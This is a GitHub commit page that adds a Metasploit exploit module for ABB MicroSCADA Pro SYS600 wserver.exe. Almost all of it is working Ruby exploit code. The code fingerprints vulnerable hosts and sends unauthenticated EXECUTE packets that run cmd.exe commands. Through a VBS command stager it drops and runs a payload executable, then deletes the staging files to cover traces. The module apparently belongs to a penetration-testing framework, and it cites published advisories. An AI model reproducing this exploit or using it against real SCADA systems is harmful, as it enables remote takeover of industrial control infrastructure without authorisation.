Skip to content

Commit d2bbc41

Browse files
committed
Land rapid7#2708 - ABB MicroSCADA wserver.exe Remote Code Execution
2 parents a02e0ee + 8817c0e commit d2bbc41

File tree

1 file changed

+116
-0
lines changed

1 file changed

+116
-0
lines changed
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::CmdStagerVBS
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
19+
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
20+
component, which allows arbitrary commands. The component is disabled by default, but
21+
required when a project uses the SCIL function WORKSTATION_CALL.
22+
23+
This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
24+
Windows XP SP3 and Windows 7 SP1.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Brian Gorenc', # Original discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '100324'],
35+
[ 'ZDI', '13-270' ],
36+
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
37+
],
38+
'Platform' => 'win',
39+
'Arch' => ARCH_X86,
40+
'DefaultOptions' =>
41+
{
42+
'WfsDelay' => 5
43+
},
44+
'Targets' =>
45+
[
46+
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
47+
],
48+
'DefaultTarget' => 0,
49+
'Privileged' => false,
50+
'DisclosureDate' => 'Apr 05 2013'
51+
))
52+
53+
register_options([Opt::RPORT(12221)], self.class)
54+
end
55+
56+
def check
57+
58+
# Send an EXECUTE packet without command, a valid response
59+
# should include an error code, which is good enough to
60+
# fingerprint.
61+
op = "EXECUTE\x00"
62+
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
63+
pkt = pkt_length
64+
pkt << op
65+
66+
connect
67+
sock.put(pkt)
68+
res = sock.get_once
69+
disconnect
70+
71+
if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
72+
return Exploit::CheckCode::Vulnerable
73+
end
74+
75+
return Exploit::CheckCode::Safe
76+
77+
end
78+
79+
def exploit
80+
# More then 750 will trigger overflow...
81+
# Cleaning is done by the exploit on execute_cmdstager_end
82+
execute_cmdstager({:linemax => 750, :nodelete => true})
83+
end
84+
85+
def execute_cmdstager_end(opts)
86+
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
87+
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
88+
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
89+
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
90+
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
91+
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
92+
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
93+
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
94+
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
95+
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
96+
end
97+
98+
def execute_command(cmd, opts)
99+
op = "EXECUTE\x00"
100+
command = "cmd.exe /c #{cmd}"
101+
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
102+
103+
pkt = pkt_length
104+
pkt << op
105+
pkt << command
106+
107+
connect
108+
sock.put(pkt)
109+
res = sock.get_once
110+
disconnect
111+
112+
unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
113+
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
114+
end
115+
end
116+
end

0 commit comments

Comments
 (0)